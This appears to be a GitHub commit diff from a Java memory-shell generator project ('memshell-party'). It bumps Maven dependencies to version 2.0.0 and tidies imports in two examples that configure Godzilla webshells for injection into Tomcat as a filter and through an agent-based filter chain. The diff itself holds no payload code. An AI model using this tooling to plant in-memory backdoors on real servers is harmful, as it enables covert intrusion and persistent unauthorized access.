File tree Expand file tree Collapse file tree 3 files changed +8
-6
lines changed
examples/memshell-party-maven-example
src/main/java/com/reajason/javaweb Expand file tree Collapse file tree 3 files changed +8
-6
lines changed Original file line number Diff line number Diff line change 1818 <dependency >
1919 <groupId >io.github.reajason</groupId >
2020 <artifactId >generator</artifactId >
21- <version >2.0.0-SNAPSHOT </version >
21+ <version >2.0.0</version >
2222 </dependency >
2323 <dependency >
2424 <groupId >io.github.reajason</groupId >
2525 <artifactId >packer</artifactId >
26- <version >2.0.0-SNAPSHOT </version >
26+ <version >2.0.0</version >
2727 </dependency >
2828 </dependencies >
2929
Original file line number Diff line number Diff line change 11package com .reajason .javaweb ;
22
3- import com .reajason .javaweb .Server ;
43import com .reajason .javaweb .memshell .MemShellGenerator ;
54import com .reajason .javaweb .memshell .MemShellResult ;
65import com .reajason .javaweb .memshell .ShellTool ;
109import com .reajason .javaweb .memshell .config .ShellConfig ;
1110import com .reajason .javaweb .packer .Packers ;
1211
12+ import static com .reajason .javaweb .Server .Tomcat ;
13+
1314/**
1415 * @author ReaJason
1516 * @since 2025/4/6
1617 */
1718public class Godzilla {
1819 public static void main (String [] args ) {
1920 ShellConfig shellConfig = ShellConfig .builder ()
20- .server (Server . Tomcat )
21+ .server (Tomcat )
2122 .shellTool (ShellTool .Godzilla )
2223 .shellType (ShellType .FILTER )
2324 .shrink (true ) // 缩小字节码
Original file line number Diff line number Diff line change 99import com .reajason .javaweb .memshell .config .ShellConfig ;
1010import com .reajason .javaweb .packer .Packers ;
1111import com .reajason .javaweb .packer .jar .JarPacker ;
12- import com .sun .security .ntlm .Server ;
1312
1413import java .nio .file .Files ;
1514import java .nio .file .Paths ;
1615
16+ import static com .reajason .javaweb .Server .Tomcat ;
17+
1718/**
1819 * @author ReaJason
1920 * @since 2025/4/6
@@ -22,7 +23,7 @@ public class GodzillaAgent {
2223
2324 public static void main (String [] args ) throws Exception {
2425 ShellConfig shellConfig = ShellConfig .builder ()
25- .server (Server . Tomcat )
26+ .server (Tomcat )
2627 .shellTool (ShellTool .Godzilla )
2728 .shellType (ShellType .AGENT_FILTER_CHAIN )
2829 .shrink (true ) // 缩小字节码
You can’t perform that action at this time.
0 commit comments